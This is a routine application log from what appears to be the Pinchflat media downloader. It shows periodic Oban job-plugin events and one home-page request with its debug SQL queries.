{"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:00.024 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:25:15.696 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:45.697 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:00.025 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:26:15.698 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:45.699 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:00.026 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:27:15.700 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:45.701 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:00.027 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:28:15.702 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:45.703 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:00.028 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:29:15.704 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:45.705 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:00.029 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:30:15.706 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:45.707 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:00.030 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:31:15.708 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:45.709 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:00.031 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:32:15.710 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:45.711 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:00.032 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:33:15.712 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:45.713 [info] {"source":"oban","duration":845,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:00.033 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:34:15.715 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:45.716 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:00.034 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:35:15.717 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:45.718 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:00.035 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:36:15.719 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:45.720 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:00.036 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:37:15.721 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:45.722 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:00.037 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:38:15.724 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:45.725 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:00.038 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:39:15.726 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:45.727 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:00.039 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:40:15.728 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:45.729 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:00.040 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:41:15.730 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:45.731 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:00.041 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:42:15.732 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:35.891 [info] GET / 08:42:35.891 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 08:42:35.892 [debug] QUERY OK source="settings" db=0.1ms idle=843.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:42:35.892 [debug] QUERY OK source="media_profiles" db=0.1ms idle=843.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 08:42:35.892 [debug] QUERY OK source="sources" db=0.0ms idle=844.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 08:42:35.902 [debug] QUERY OK source="media_items" db=10.1ms idle=844.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 08:42:35.903 [debug] QUERY OK source="media_items" db=0.4ms idle=486.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 08:42:35.903 [debug] QUERY OK source="settings" db=0.1ms idle=11.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:42:35.904 [debug] QUERY OK source="settings" db=0.0ms idle=11.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:42:35.904 [debug] QUERY OK source="settings" db=0.0ms idle=11.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:42:35.905 [debug] QUERY OK source="tasks" db=0.2ms idle=2.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 08:42:35.905 [debug] QUERY OK source="media_items" db=0.1ms idle=2.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 08:42:35.906 [debug] QUERY OK source="media_items" db=0.3ms idle=2.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 08:42:35.906 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 08:42:35.911 [debug] QUERY OK source="media_items" db=3.4ms idle=3.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 08:42:35.912 [debug] QUERY OK source="media_items" db=0.5ms idle=6.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 08:42:35.913 [debug] QUERY OK source="sources" db=0.1ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 08:42:35.915 [info] Sent 200 in 23ms 08:42:45.733 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:00.042 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:43:15.734 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:45.735 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:00.043 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:44:15.736 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:45.737 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:00.044 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:45:15.738 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:45.739 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:00.045 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:46:15.740 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:45.742 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:00.046 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:47:15.743 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:45.744 [info] {"source":"oban","duration":805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:00.047 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:48:15.746 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:45.747 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:00.048 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:49:15.748 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:45.749 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:00.049 [info] {"source":"oban","duration":313,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:50:15.750 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:45.751 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:00.050 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:51:15.752 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:45.753 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:00.051 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:52:15.754 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:45.755 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:00.052 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:53:15.756 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:45.757 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:00.054 [info] {"source":"oban","duration":335,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:54:15.758 [info] {"source":"oban","duration":860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:45.760 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:00.054 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:55:15.761 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:45.762 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:00.055 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:56:15.763 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:45.764 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:00.056 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:57:15.765 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:45.766 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:00.057 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:58:15.768 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:45.769 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:00.058 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:59:15.770 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:45.771 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:00.059 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:00:15.772 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:45.773 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:00.060 [info] {"source":"oban","duration":152,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:01:15.774 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:45.775 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:00.061 [info] {"source":"oban","duration":282,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:02:15.776 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:45.777 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:00.062 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:03:15.778 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:45.779 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:00.063 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:04:15.780 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:45.781 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:00.064 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:05:15.782 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:45.783 [info] {"source":"oban","duration":839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:00.065 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:06:15.785 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:45.786 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:00.066 [info] {"source":"oban","duration":265,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:07:15.788 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:45.789 [info] {"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:00.067 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:08:15.791 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:45.792 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:00.068 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:09:15.793 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:45.794 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:00.069 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:10:15.795 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:45.796 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:00.070 [info] {"source":"oban","duration":157,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:11:15.797 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:45.798 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:00.071 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:12:15.799 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:45.800 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:00.072 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:13:15.801 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:45.802 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:00.073 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:14:15.803 [info] {"source":"oban","duration":898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:45.805 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:00.074 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:15:15.806 [info] {"source":"oban","duration":797,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:45.808 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:00.075 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:16:15.809 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:45.810 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:00.076 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:17:15.812 [info] {"source":"oban","duration":2171,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:45.814 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:00.077 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:18:15.815 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:45.816 [info] {"source":"oban","duration":572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:00.078 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:19:15.817 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:45.818 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:00.079 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:20:15.818 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:45.820 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:00.080 [info] {"source":"oban","duration":153,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 